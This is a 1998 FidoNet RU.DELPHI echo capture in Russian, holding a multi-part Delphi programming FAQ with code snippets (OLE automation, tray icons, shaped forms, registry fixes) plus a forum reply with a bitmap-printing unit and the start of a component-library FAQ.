Compiler/maintainer: Alexey Mahotkin, 2:5020/433, alexm(at)hsys.msk.ru Благодарности: активным писателям эх иерархии RU.DELPHI и контрибуторам этого F.A.Q., without whom nihil. Все изменения/дополнения/комментарии крайне приветствуются. Измененные пункты отмечены строчкой [chg], добавленные -- строчкой [new]. Планируется разбиение F.A.Q. на три-четыре подраздела и конвертация в большое количество форматов. Приветствуются желающие выкладывать все это на www. >[chg] Список авторов добавлений/замечаний/комментариев в алфавитном >порядке. С целью предотвращения спама произведено небольшое искажение e-mail адресов. AA: Akzhan Abdulin, 2:5040/55 AB: Anthony Buntyakov, antosha(at)metcombank.ru ArAs: Arthur Aseev, 2:5030/465.2 AG: Andrey Grigoriev, 2:5061/24.20 AK: Alex Konshin, 2:5030/217 AL: Alexander Lokshin, 2:5020/529 AP: Alexander Petrosyan, 2:5020/468.8 AlPe: Alex Petin, 2:5000/97.8 AR: Andrey Ruckoy, 2:5047/7 AnSa: Andrey Sarinkov, 2:5040/33.121 AS: Alexey Sinutin, 2:5022/12.16 AV: Andrew Verigo, 2:452/23.32 AY: Alexey Yashin, 2:5020/62.31 BL: Boris Loboda, 2:461/256 BP: Boris Podchezertseff, 2:5020/656.20 DK: Dmitry Kryloff, 2:5054/9.20 DS: Dmitry Shikhman, 2:468/13.32 EK: Eugene Kopko, 2:464/196 EL: Evgeny Levashoff, 2:5022/31.7 EM: Eugene Mayevski, 2:463/209 ES: Eugeny Sverchkov, 2:5031/12.23 IA: Ilya Andreev, 2:5030/55.28 IG: Ivan Gudym, 2:4642/2213.9 IS: Igor Slusarev, 2:5020/118.18 JB: Juris Bekins, 2:5100/35 MV: Max Vystropov, 2:5020/1412 PS: Pavel Shklovsky, 2:5011/18 RP: Roman Procopovich, 2:5030/254.201 RR: Roman Rechmakov, 2:5020/952.26 SB: Stanislav Babin, 2:5030/356.7 SK: Serge Korolev, 2:5020/104 SM: Sergey Mazunov, 2:5083/30.20 SO: Sergey Okhapkin, 2:5020/47 SV: Serg Vostrikov, 2:5053/15.3 SA: Sergey Arkhipov, 2:5054/88.10 SB: Sergey Belov, sbelov(at)aha.ru VB: Victor Babkin, 2:463/279.6 VS: Vlad Sharnin, vlad(at)nplks.rb.ru Прочие существующие F.A.Q. по Delphi: * от демо-центра, a.k.a. Epsylon Technologies, www.demo.ru; очень полезный для начинающего обширный F.A.Q., носящий, правда, ощутимо коммерческий характер; * от Akzhan Abdulin, 2:5040/55; это, скорее, набор Tips&Tricks, достаточно продвинутых, с большим количеством исходников; * FAQ по фичам для Delphi by Mikhail Chernyshev, 2:4615/26; это список библиотек и компонентов для Delphi с кратким описанием и указанием методов доставания; * The Unofficial Delphi Component Writing F.A.Q. достаточно продвинутый F.A.Q. для писателей компонентов, очень полезно описание TDataLink; * Borland Interbase Q&A от демо-центра. очень обширный и качественный F.A.Q.; Эхи по Delphi: RU.DELPHI: общие вопросы программирования на Delphi, не связанные с базами данных; RU.DELPHI.INFO: эта эха -- только для чтения. Писать в нее разрешено немногим и, скорее всего, это не вы.... Туда помещаются F.A.Q. и списки интернетовских и фидошных ресурсов Delphi; RU.DELPHI.DB: вопросы программирования баз данных в среде Delphi; RU.DELPHI.UUE: категорически не рекомендованная к получению эха -- для публикации файлов лучше пользоваться файлэхами. Файлэхи по Delphi: WDEVDELPHI - официальная файлэха иерархии RU.DELPHI; FEDELAPP - Delphi and DBMS related applications, utilities and other goodies; FEDELINF - Delphi related technical information, documentation; FEDELSRC - Delphi related both 16 and 32bit Components and Libraries Sources; FEDELGEN - Delphi related General; FED32SRC - Delphi related 32bit Sources; FED32GEN - Delphi related 32bit General. Дружественные эхи: RU.CBUILDER: Borland C++Builder; SU.WINDOWS.PROG: общие вопросы программирования под MS Windows; SU.WIN32.PROG: вопросы программирования для Win32 API; SU.WIN95.PROG: вопросы программирования под MS Windows 95; SU.DBMS: базы данных; SU.DBMS.SQL: SQL-базы данных; SU.DBMS.BORLAND: базы данных фирмы Borland; SU.DBMS.INTERBASE: "родная" для Delphi база данных; SU.SOFTW общие вопросы разработки программ; RU.ALGORITHMS: вещи, не зависящие от фамилии президента IBM и текущего номера сервиспака к NT; SU.FLAME обсуждение превосходства Borland Delphi над всеми прочими средствами разработки. >[chg] Методы доставания софта, упомянутого в F.A.Q., большой список >регулярно появляется в RU.DELPHI.INFO: * Delphi Super Page (http://sunsite.icm.edu.pl/~robert/delphi); * Универсально: поиск в Aльтависте или на любой другой поисковой машине. * Многочисленные фидо-станции, несущие соответствующие файлэхи, особенно 2:5020/87; * FTP- и WWW-сайты, хранящие файлы, проходившие по файлэхам, например - ftp://ftp.demo.ru/Borland/Delphi/WDEVDELPHI/ (AP) (к сожалению, он очень давно не обновлялся); - http://www.unionjv.ru/files; - http://rx.unionjv.ru/ (место распространения rxLib, в частности); - (SK): http://rx.demo.ru (еще одно) ; - (AG): http://www.jeo.ru/2420. - (MV): ftp2.max.irk.ru/ ftp.sed.lg.ua/pub/fileecho/ ftp://bbs.ogo.ru, ftp://ogo.ru - (PS): ftp://adel.telecom.nov.ru - (RP): ftp://ftp.kaluga.com/windows/DEVELOP/DELPHI/ Относительно свежие версии этого F.A.Q. можно достать на FAQ-серверах. Hапишите письмо ================ To: FAQServer Subj: <неважно> --------- %HELP ================ и вы получите помощь по использованию FAQ-сервера. FAQ-сервера находятся по следующим адресам: (2:5020/87, Nikita Popov), (2:5003/41.41, Grigory Prigodin), (2:461/256, Boris Loboda). В скобках указаны хозяева, писать надо To: FAQServer Если у вас работает FAQ-сервер и вы готовы выкладывать на него новые версии F.A.Q, напишите мне. Эти самые новые версии вы можете брать из файлэхи WDEVDELPHI или с ftp://ftp.nf.ru/pub/techlib. >[chg] Q: 1. Как сделать так, чтобы программу можно было запустить только >в одном экземпляре? A: Воспользуйтесь функцией ActivatePrevInstance из библиотеки rxLib. Для завершения второго экземпляра, попытавшегося запуститься, используйте Application.Terminate; (AS): Другой вариант: X:\DELPHI2\DEMOS\IPCDEMOS\ipcthrd.pas, функция IsMonitorRunning(). (EK): CreateSemaphore(nil,0,1,'MySemaphoreName'); === Cut === Пусть тени обходят тебя стороной // claw against sun * Crossposted in RU.DELPHI.INFO ... aim out rail nail nap --- GoldED/W32 3.00.Beta4 UNREG * Origin: One of the SouBa group stations // HPG (2:5020/433) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 32 of 341 From : Alexey Mahotkin 2:5020/433 30 Nov 98 00:32:00 To : All Subj : ru.delphi.f.a.q. [2/4] ──────────────────────────────────────────────────────────────────────────────── hail === Cut === if GetLastError = ERROR_ALREADY_EXISTS then Halt(1); .......... Application.Run; Q: 2. Как работать с разными графическими форматами, кроме BMP, хотя бы самыми распространенными: GIF, JPG, TIFF? A: Воспользуйтесь библиотекой ImageLib. Лежит на www.imagelib.com. Hа компакте с Delphi 3 в каталоге EXTRAS есть библиотека JPEG. Если сказать в модуле uses jpeg; то можно работать с .jpg как с TPicture. (AA): Опять-таки, есть LightLib Images (url не помню, но по altavista находится с полпинка, поставляется с книжкой Чарлза Калверта). Еще есть Nishita ViewLib, freeware. JPG/JIF/GIF/BMP/DIB/RLE/TGA/PCX. http://einstein.ae.eng.ua.edu/nishita/index.htm Q: 3. Куда из Delphi 3 делся модуль для работы с ReportSmith? А мои любимые модули работы с OLE: ole2, oleauto и olectl? A: Они лежат в X:\DELPHI3\LIB\DELPHI2\. Q: 4. Моя программа довольно долго делает какую-то полезную работу, типа чтения дерева каталогов или обильных вычислений, и в этот момент почти не работают остальные программы. Как разрешить им это делать? A: Application.ProcessMessages. (AA): Win32: Если вы хотите отдавать timeslices в нитях, пользуйтесь Sleep(0); это отдаст остаток слайса системе. Win16: Если вы хотите разрешить отработку сообщений другим программам, но не вашей, то лучше пользоваться Yield(). Q: 5. Как мне вывести какое-нибудь окошко с картинкой, пока программа грузится? A: Смотрите пример в X:\DELPHI\DEMOS\DB\MASTAPP\mastapp.dpr. Удобно использовать функцию ShowSplashWindow из rxLib. Q: 6. Как мне запустить какую-нибудь программу? А как подождать, пока эта программа не отработает? Как выяснить, работает ли программа или уже завершилась? Как принудительно закрыть выполняющуюся программу? A: WinExec() или ShellExecute. У второй больше возможностей. (AY, VB): CreateProcess(). (SO): CreateProcess() в параметре process info возвращает handle запущенного процесса. Вот и делаешь WaitForSingleObject(pi.hProcess, INFINITE); (AA): Win16: Delay можно взять из rxLib. === Cut === handle := WinExec(...); if handle >= 32 then while GetModuleUsage(handle) > 0 do Delay( nn ); else raise .... === Cut === (AM): Чтобы выяснить, работает ли программа, используйте GetProcessTimes(), параметр lpExitTime. (Win32) Для принудительного завершения процесса -- TerminateProcess. (Win16) (RR): Handle:=Winexec(App, 0); PostMessage(Handle, WM_QUIT, 0, 0); Q: 7. Как мне работать с файлами MS Word или таблицами Excel? A: Воспользоваться функцией CreateOLEObject и работать с VBA или WordBasic. NB: Обратите внимание на то, как устанавливаются именованные параметры у процедур WordBasic'а, например, FileOpen(Name := 'myname.doc'); === Cut Пример by Sergey Arkhipov 2:5054/88.10 === Пример проверен только на Word 7.0 (рус) !!! Вот, может поможет... unit InWord; interface uses ... ComCtrls; // Delphi3 ... OLEAuto; // Delphi2 [skip] procedure TPrintForm.MPrintClick(Sender: TObject); var W: Variant; S: String; begin S:=VarToStr(Table1['Num']); //В D3 без промежуточной записи // в var у меня не пошло :( try // А вдруг где ошибка :) W:=CreateOleObject('Word.Basic'); // Создаем документ по шаблону MyWordDot // с указанием пути если он не в папке шаблонов Word W.FileNew(Template:='C:\MyPath\DB\MyWordDot',NewTemplate:=0); // Отключение фоновой печати (на LJ5L без этого был пустой лист) W.ToolsOptionsPrint(Background:=0); // Переходим к закладке Word'a 'Num' W.EditGoto('Num'); W.Insert(S); //Сохранение W.FileSaveAs('C:\MayPath\Reports\MyReport') W.FilePrint(NumCopies:='2'); // Печать 2-х копий finally W.ToolsOptionsPrint(Background:=1); W:=UnAssigned; end; end; ..... === Cut Конец примера === Q: 8. Как сделать так, чтобы запущенная программа не была видна на панели задач? NB: Предположим, вы пользуетесь компонентой TrxTrayIcon из rxLib, иначе непонятно, как вы будете возвращать ее из минимизированного состояния. A: (EM, DS): type TForm1 = class(TForm) Label1: TLabel; RxTrayIcon1: TRxTrayIcon; procedure FormCreate(Sender : TObject); procedure RxTrayIcon1DblClick(Sender: TObject); private { Private declarations } procedure ApplicationMinimize(Sender : TObject); procedure ApplicationRestore(Sender : TObject); public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); begin Application.OnMinimize := ApplicationMinimize; Application.OnRestore := ApplicationRestore; ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.ApplicationMinimize(Sender : TObject); begin ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.ApplicationRestore(Sender : TObject); begin ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.RxTrayIcon1DblClick(Sender: TObject); begin Application.Restore; Application.BringToFront; end; (AK): Только сpазу пpедупpеждаю пpо гpабли, на котоpые я наступал: Будь готов к тому, что если пpи попытке закpытия пpиложения в OnCloseQuery или OnClose выводится вопpос о подтвеpждении, то могут быть пpоблемы с автоматическим завеpшением пpогpаммы пpи shutdown - под Win95 пpосто зависает, под WinNT не завеpшается. Очевидно, что сообщение выводится, но его не видно (пpичем SW_RESTORE не сpабатывает). Решение - ловить WM_QueryEndSession и после всяких завеpшающих действий и вызова CallTerminateProcs выдавать Halt. Q: 9. А как поместить свою иконку на taskbar, там где часы и переключатель клавиатуры? A: В библиотеке rxLib есть компонент TrxTrayIcon. Q: 10. Как сделать так, чтобы в моей форме курсор перемещался по полям ввода по Enter, как по Tab? A: (SV): Если вы хотите обрабатывать событие на уровне формы (а не в каждом отдельном компоненте), уберите обработчики события у всех компонент и создайте FormKeyPress -- обработчик OnKeyPress для формы: procedure Form1.OnKeyPress(Sender : TObject; var Key : char); begin if Key = #13 then begin SelectNext(Sender as TWinControl, true, true); Key := #0; end; end; (AnSa): Давно хотелось высказаться по поводy этого способа. Во-пеpвых, нyжно выставлять y фоpмы KeyPreview = True. Во-втоpых, если на фоpмy поместить default-кнопкy, то никакого пеpемещения фокyса не бyдет. Q: 11. А где взять нормальный хелп для Delphi 3? И для вторых, собственно, тоже -- часть ссылок ведет в никуда, часть ведет не туда, некоторые компоненты без хелпа... A: Hадо поставить нормальные Delphi 3, а не Confidentional/Field beta. Для Delphi 2 -- или найдите где-нибудь обновленные файлы .HLP, например, на www.borland.com или на Delphi Super Page, или на каком-нибудь компакте, или поставьте себе версию 2.01. Моя имеет истинную версию (Help|About..., наберите Alt-VERSION) 2.0.76.0. Узнать ее можно также по странице Internet в панели компонентов. Q: 12. Посоветуйте что-нибудь для работы с модемом и/или COM-портом из Delphi. A: AsyncPro. Он покроет 95% ваших нужд. === Cut === Пусть тени обходят тебя стороной // claw against sun * Crossposted in RU.DELPHI.INFO ... mat aural ion nip ail --- GoldED/W32 3.00.Beta4 UNREG * Origin: One of the SouBa group stations // HPG (2:5020/433) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 33 of 341 From : Alexey Mahotkin 2:5020/433 30 Nov 98 00:32:00 To : All Subj : ru.delphi.f.a.q. [3/4] ──────────────────────────────────────────────────────────────────────────────── hail === Cut === Для маньяков, желающих пользоваться Win32 -- открывайте "COMx" как файл и пишите/читайте. Еще хорошо почитать Help на тему вещей, начинающихся на "comm". Q: 13. А как включить окошко CPU Window? A: (AP): Вставьте в registry строковый ключ HKCU\Software\Borland\Delphi\2.0\Debugging\EnableCPU=1 соответственно для Delphi 3 -- Delphi\3.0. Q: 14. А как печатать на матричном принтере в текстовом режиме для скорости? A: (AR): === Cut === var f : textfile; begin AssignFile ( f, 'prn' ); Rewrite ( f ); WriteLn ( f, 'some data' ); CloseFile ( f ); end. === Cut === NB: Hе забудьте, что слать данные надо в 866 кодовой странице. См. ниже. Q: 15. Посоветуйте хорошую книгу по Delphi. A: a) Кен Хендриксон "Руководство разработчика баз данных" b) Рэй Конопка "Hаписание оригинальных компонент в среде Delphi" c) Рэй Лишнер "Секреты Delphi 2" d) Том Сван "Програмирование в Delphi для Windows95" e) Tом Сван "Секреты 32 разрядного программирования в Delphi" f) Джеффри Рихтер "Windows для профессионалов" (highly recommended!) g) Т. Миллер, "Использование Delphi 3" >[chg] Q: 16. Как сделать плавно изменяющийся цвет заголовка окна, как в MSOffice'95? A: Hадо ловить сообщение WM_NCPAINT. Существует также компонент CustomNC by Alex Prilipko 2:5045/29, которые позволяет самому рисовать всю неклиентскую часть окна. (AP): Тот компонент - плохой. Совсем. Правильный компонент, by Акжан Абдулин и еще кто-то был в фэхе(не WDEVDELPHI). Ищите cap*.zip. NB: cap030.zip и cap031p.zip были в файлэхе FED32SRC. Q: 17. Как мне перекодировать строки из Win-кодировки в Dos-кодировку и наоборот? A: CharToOEM/OEMToChar, CharToOEMBuff/OEMToCharBuff. Q: 18. Как работать с архивными файлами, хотя бы с самыми распространенными, типа .ZIP? A: (AS): Воспользуйтесь библиотекой ExceedZip 3.0 (www.exceedsoft.com) (VS): Hа CDROM с Delphi3 есть каталог INFO\EXTRAS\ZLIB. Подробности на http://quest.jpl.nasa.gov/zlib/ Q: 19. Как правильно закрыть и удалить форму? Почему моя MDI Child форма при закрывании просто минимизируется? A: Обрабатывайте событие OnClose для формы и выставляйте в нем параметр Action в caFree. Дело в том, что его значение по умолчанию для MDI Child форм =caMinimize. Кстати, если сделать Action := caNone, то форму нельзя будет закрыть. Q: 20. Мне надо добавить много строк в TListbox или в TCombobox или в TMemo или в TRichEdit, при этом сам объект постоянно мигает, перерисовываясь. Как избавиться от этого? A: BeginUpdate/EndUpdate. Q: 21. Как исправить проблемы с вызовом помощи при одновременно стоящих Delphi 1 и Delphi2? A: (AP): Решаются так... RegEdit - убейте из секции HKLM\SOFTWARE\Microsoft\Windows\Help все, что равно "...\help". Поправьте это, чтобы был _ваши_ пути... -------------------------- HelpPath.REG REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\AppPaths\ delphi32.exe] @="C:\\DELPHI2\\BIN\\delphi32.exe" "Path"="C:\\DELPHI2\\HELP" -------------------------- ...и скажите "START HelpPath.REG": >[chg] Q: 22. Что такое rxLib? A: Одна из самых, если не самая лучшая библиотека общего назначения для Delphi. Огромное количество компонентов и полезных функций. Полные исходные тексты. Совместима со всеми Delphi (1, 2 и 3), а также с C++-Builder. Великолепные примеры использования. Исчерпывающие файлы помощи на русском языке. Текущая версия -- 2.40. IMHO -- a must have для любого дельфиста. Прежде чем огорчаться отсутствием чего-либо или пытаться написать свое -- посмотрите, нет ли этого в rxLib. Скажем так -- без rxLib мое программирование на Delphi будет гораздо более утомительным. Авторы: Fedor Koshevnikov (kosh(at)masterbank.msk.ru) Igor Pavluk (pavluk(at)masterbank.msk.ru) Serge Korolev (korolev(at)masterbank.msk.ru) Q: 23. Как мне запрограммировать непрямоугольную форму, например, как у Norton CrashGuard, в форме щита? A: (ArAs): SetWindowRgn(); (только Win32). (AV): Есть компонент TFormShaper, free for noncommercial use: http://www.wirtschaft.tu-ilmenau.de/~aeg/ (AM:) (Win32) Пример кода, создающий эллиптическую форму, которую к тому же можно двигать за любую точку, что демонстрирует обработку сообщения WM_NCHITTEST: === Cut here start === unit main; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm) Label1: TLabel; procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); private { Private declarations } rgn : HRGN; procedure WMNCHitTest(var Message : TWMNCHitTest); message WM_NCHITTEST; protected public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); begin rgn := CreateEllipticRgn(0, 0, Width, Height); SetWindowRgn(Handle, rgn, True); end; procedure TForm1.WMNCHitTest(var Message : TWMNCHitTest); begin if PtInRegion(rgn, Message.XPos, Message.YPos) then Message.Result := HTCAPTION else Message.Result := HTNOWHERE; end; procedure TForm1.FormDestroy(Sender: TObject); begin DeleteObject(rgn); end; end. === Cut here end === (DK:) Hадо задать форме стиль окна WS_EX_TRANSPARENT. Тогда будут рисоваться только лежащие на ней контролы. Вот пример кода: type TForm1 = class(TForm) { ... } protected procedure CreateParams(var Params : TCreateParams); override; end; procedure TForm1.CreateParams(var Params : TCreateParams); begin inherited CreateParams(Params); { форма становится прозрачной } Params.ExStyle := Params.ExStyle or WS_EX_TRANSPARENT; end; end; Q: 24. Delphi 2 & 3 не отображают русские TTF под Windows NT WorkStation + ServicePack#3. A: (AlPe): Попробуй сделать [HKLM\Software\Microsoft\Windows NT\CurrentVersion\FontMapper] DEFAULT=0xcc (204) вместо 0x00 (Именно DEFAULT, а не (Default):-) получше маленько будет... Q: 25. Как установить компонент от Delphi 2 под Delphi 3? Delphi требуют .PAS-файл. A: Hикак. Ищите исходник или .DCU, скомпилированный для Delphi 3. Q: 26. Как получить от программы сообщения на русском языке? A: (EL): 1) В X:\Delphi\Sources\vcl - отредактировать все файлы текстовых ресурсов Delphi (или наиболее часто возникающие Exception'ы и надписи на кнопках). 2) В Delphi\bin есть компилятор текстовых ресурсов (brcc32.exe - точно не помню).Откомпилировать все изменненные *.rc. 3) Получившиеся res-файлы кинуть в Delphi\Lib (SB): Для Delphi 3: 1) Delphi3\Doc\Consts.int переименовать в Delphi3\Doc\Consts.pas; 2) внутри Consts.pas в конце дописать: "end."; 3) внутри Consts.pas исправить все "Yes", "No", "Cancel" и т. д. на русский вариант; 4) откомпилировать consts.pas с помощью dcc32, получится Consts.dcu. 5) Consts.dcu скопировать в Delphi 3\Lib вместо имеющегося там. NB: Русские ресурсы для D1 и D2 проходили в свое время по WDEVDELPHI в файле . Q: 27. При возникновении ошибки во время отладки программы машина перезагружается. Что делать? === Cut === Пусть тени обходят тебя стороной // claw against sun * Crossposted in RU.DELPHI.INFO ... main up tar an oil ail --- GoldED/W32 3.00.Beta4 UNREG * Origin: One of the SouBa group stations // HPG (2:5020/433) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 34 of 341 From : Alexey Mahotkin 2:5020/433 30 Nov 98 00:32:00 To : All Subj : ru.delphi.f.a.q. [4/4] ──────────────────────────────────────────────────────────────────────────────── hail === Cut === A: Снести QEMM. Hачисто. Простое отключение его функций не помогает. Q: 28. Как использовать свои курсоры в программе? A: === Cut === {$R CURSORS.RES} const crZoomIn = 1; crZoomOut = 2; Screen.Cursors[crZoomIn] := LoadCursor(hInstance, 'CURSOR_ZOOMIN'); Screen.Cursors[crZoomOut] := LoadCursor(hInstance, 'CURSOR_ZOOMOUT'); === Cut === Q: 29. Как правильно создавать компоненты в run-time? Что задавать в качестве параметра Owner при создании компоненты? Как обрабатывать события от созданных компонент, типа нажатий на кнопки? A: Hачнем с создания. Сущность свойства Owner в том, что владелец перед смертью уничтожает (через Free) принадлежащие ему объекты. Таким образом, все зависит от того, кому вы хотите доверить уничтожение созданных форм/компонентов. В частности, если вы сами будете этим заниматься, то AOwner может быть, например, nil. Для того, чтобы созданный компонент появился на экране, надо указать его родителя, заполнив свойство .Parent, например, NewButton.Parent := Form1; Пример кода, обрабатывающего события от свежесозданных компонентов: type TForm1 = class(TForm) { ... } private { эта процедура будет вызываться при нажатии на кнопку } procedure ButtonClicked(Sender : TObject); public { в этой процедуре происходит создание кнопки } procedure CreateButton; end; { ... } procedure TForm1.CreateButton; var btn : TButton; begin btn := TButton.Create(Self); { Уничтожать кнопку будет форма } btn.Parent := Self; { Родителем кнопки будет форма } btn.OnClick := ButtonClicked; { Процедура, которая будет исполняться при } btn.Visible := true; { нажатии на кнопку } end; Q: 30. Как ограничить перемещение курсора мыши какой-либо областью экрана? A: ClipCursor() Q: 31. Как отловить события создания или удаления файлов другими программами? A: (Win32:) FindFirstChangeNotification/FindNextChangeNotification/ FindCloseChangeNotification (Win16:) FileCDR, но она плохо документирована. Q: 32. Как сделать так, чтобы по Alt-F4 форма не закрывалась, а выдавала запрос на сохранение? A: Обрабатывать OnCloseQuery. Q: 33. При работе программ на D1 под Win95 в hicolor-режимах иконки на TBitBtn'ах обнаруживаются странные коричневые артефакты. Как от них избавиться? A: (AB): Залить фон битмапа синим цветом. Q: 34. Как работать с registry? A: TRegistry. Q: 35. Как получить короткий путь файла если имеется длинный? ("c:\Program Files" ==> "c:\progra~1"). A: GetShortPath() >[new] Q: 36. Как напрямую работать с портами/памятью из-под Win95/NT? A: (VS): а http://www.strongsoftware.net/tvicport/ лежат TVicHW32 и TVicPort. Под Win95 можно обращаться к портам из ассемблерных вставок. Под NT этот номер не пройдет -- скорее всего, придется писать драйвер устройства. RTFM WindowsNT Device Driver Kit. >[new] Q: 37. Как переключать раскладку клавиатуры из своей программы? A: ActivateKeyboardLayout. >[new] Q: 38. Как просматривать HTML в программе? A: Можно воспользоваться Netscape Navigator или Internet Explorer -- они умеют быть OLE-серверами. (AL): Еще на www.pbear.com лежат THTMLViewer и TFrameViewer. >[new] Q: 39. Как перехватывать клавиши, нажатые в окне другой программы? И вообще, любые события, поступающие другим программам? A: (AP): SetWindowsHookEx(). Пример использования лежит на www.i-connect.ru/~paf/links31.zip >[new] Q: 40. Как вывести диалог выбора _директории_? A: (DS): SelectDirectory, rxLib: TDirectoryEdit. >[new] Q: 41. е работает передача данных по OLE в русский Excel. A: (SM): Дело в этом что в VCL твои команды OLE2 передаются Excel'у в русском контексте (не знаю как это правильно назвать). Для исправления необходимо найти в файле OLEAUTO.pas в функции GetIDsOfNames строчку if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, LOCALE_SYSTEM_DEFAULT, DispIDs) <> 0 then и заменить ее на if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, ((LANG_ENGLISH+SUBLANG_DEFAULT*1024)+SORT_DEFAULT* 65536 ), DispIDs) <> 0 then После этого у меня Excel стал понимать нормальные английские команды :)). Hеобходимая комбинация для установки английского языка взята из C-шных хедеров. >[new] Q: 42. Можно ли скомпилировать на Delphi 2/3 программу, работающую >под Windows 3.1? A: (NP): ет, но на компактах с Delphi 2/3 поставляется Delphi 1 специально для этой цели. >[new] Q: 43. Как вызывать из 32-битной программы 16-битные DLL? A: (EM): адо применять так называемы Thunks. Смотри статью на http://www.itecuk.com/delmag/thunk95.htm >[new] Q: 44. Почему у меня record a : word; b : longint end; имеет размер > восемь байт вместо шести? A: RTFM packed, $A. >[new] Q: 45. Где взять подробную документацию по работе с RTF, TRichEdit? A: (MC): www.microsoft.com/msdn, зарегистрироваться и искать. >[new] Q: 46. Как можно перетаскивать форму не только за заголовок? A: WM_NCHITTEST. <<>> === Cut === Пусть тени обходят тебя стороной // claw against sun * Crossposted in RU.DELPHI.INFO ... aim aura lit in no pal --- GoldED/W32 3.00.Beta4 UNREG * Origin: One of the SouBa group stations // HPG (2:5020/433) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 35 of 341 From : Dmitry Kiselev 2:5020/400 24 Dec 98 17:26:00 To : All Subj : Хочу печатать графику ... ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: ddt.demos.su!fido-news-server .RFC-Message-ID: <01be2f49$4a2af580$022913c3@glighthome.bmstu.ru> .RFC-References: <01be2db5$cc4ecf40$LocalHost@host> From: "Dmitry Kiselev" > Делаем так - > Printer.Canvas.StretchDraw(Rect,Bitmap); > И ничего .... > Чистый белый лист. > Rect, Bitmap - заполнены корректно. > Принтер HP DeskJet 520. > Hа других тоже пробовал. > > Причем !!!иногда!!! все таки печатает! > То ли после Ексела то ли после Ворда ... > Эффект не стабилен. > Мож какие то настройки надо делать? Дело все в палитре принтера. Предлагаю модуль с функцией печати битмапа. Битмап тут вмещается и перемасштабируется, чтоб влезть на страницу бОльшим размером и разместиться по центру листа. Это ты сам можешь изменить по своему желанию. unit UPrint; interface uses Windows, Messages, SysUtils, Classes, Graphics, Printers; procedure PrintBitmap(ABitmap: TBitmap); implementation procedure PrintBitmap(ABitmap: TBitmap); var B: TBitmap; isPrnPal: Boolean; Pal, OldPal: hPalette; PageWidth, PageHeight: Integer; PageMargin: TPoint; TestInt: Integer; ImagePageWidth: Integer; ImagePageHeight: Integer; ScaleX, ScaleY, OffsetX, OffsetY: Integer; ImageSize, InfoSize: DWord; PImage, PInfo: Pointer; begin Pal := 0; OldPal := 0; Printer.BeginDoc; B := TBitmap.Create; B.Assign(ABitmap); B.PixelFormat := pf24bit; isPrnPal := False; if (GetDeviceCaps(Printer.Canvas.Handle, RasterCaps) and RC_Palette) = RC_Palette then begin B.PixelFormat := pf8bit; Pal := CopyPalette(B.Palette); OldPal := SelectPalette(Printer.Canvas.Handle, Pal, False); isPrnPal := True; end; PageWidth := Integer(GetDeviceCaps(Printer.Canvas.Handle, HORZRES)); PageHeight := Integer(GetDeviceCaps(Printer.Canvas.Handle, VERTRES)); PageMargin.X := 0; PageMargin.Y := 0; TestInt := Integer(GetPrintingOffset); if Escape(Printer.Canvas.Handle, QUERYESCSUPPORT, SizeOf(TestInt), @TestInt, nil) <> 0 then begin if Escape(Printer.Canvas.Handle, GETPRINTINGOFFSET, 0, nil, @PageMargin) <= 0 then begin PageMargin.X := 0; PageMargin.Y := 0; end; end; ImagePageWidth := PageWidth-2*PageMargin.X; ImagePageHeight := PageHeight-2*PageMargin.Y; if ((ImagePageWidth <= ImagePageHeight) and (B.Width >= B.Height)) or ((ImagePageWidth > ImagePageHeight) and (B.Width > B.Height)) then begin ScaleX := ImagePageWidth; ScaleY := Trunc(B.Height*ImagePageWidth/B.Width); OffsetX := PageMargin.X; OffsetY := (PageHeight div 2) - (ScaleY div 2); end else begin ScaleY := ImagePageHeight; ScaleX := Trunc(B.Width*ImagePageHeight/B.Height); OffsetY := PageMargin.Y; OffsetX := (PageWidth div 2) - (ScaleX div 2); end; GetDIBSizes(B.Handle, InfoSize, ImageSize); GetMem(PImage, ImageSize); GetMem(PInfo, InfoSize); GetDIB(B.Handle, B.Palette, PInfo^, PImage^); StretchDIBits(Printer.Canvas.Handle, OffsetX, OffsetY, ScaleX, ScaleY, 0, 0, B.Width, B.Height, PImage, PBitmapInfo(PInfo)^, DIB_RGB_COLORS, SRCCOPY); FreeMem(PImage); FreeMem(PInfo); if isPrnPal then begin SelectPalette(Printer.Canvas.Handle, OldPal, False); DeleteObject(Pal); end; Printer.EndDoc; end; end. Дмитрий --- ifmail v.2.14dev2 * Origin: BMSTU (2:5020/400@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 36 of 341 - 14 From : Mikhail Chernyshev 2:4615/26 29 Dec 98 05:59:00 To : All Subj : FAQ по фичам для Delphi v2.25. Part 1/8 ──────────────────────────────────────────────────────────────────────────────── FAQ v.2.25.1 азначение всяческих фич для Делфи. ----------------------------------- ******************************************************************************* Все права в отношении данного сборника принадлежат автору Чернышеву Михаилу (2:4615/26). Все остальные права (и ответственность) принадлежат авторам входящих в базу текстов. При воспроизведении текста или его части сохранение ссылки на данный документ обязательна. Коммерческое использование этого документа допускается только с письменного разрешения автора. Я разрешаю свободное некоммерческое использование cборника при условии сохранения его целостности. Для получения не разрезанного на куски текста свяжитесь со мной. ******************************************************************************* В данный фак включена информация о следующих продуктах: Async Professional Apollo Baikonur GIS ToolKit. new> Code Arrange Expert (ACod) CompleteControl Evaluation Pack new> DBScroll (супернавороченный grid) new> DelphiX 98.10.05a DWinsock Ext_Ide.zip for D12 new> ICS - Internet component Suite (aka FPiette's Components) InfoPower Halcyon new> Help&Manual 1.4h (редактор hlp и документации. 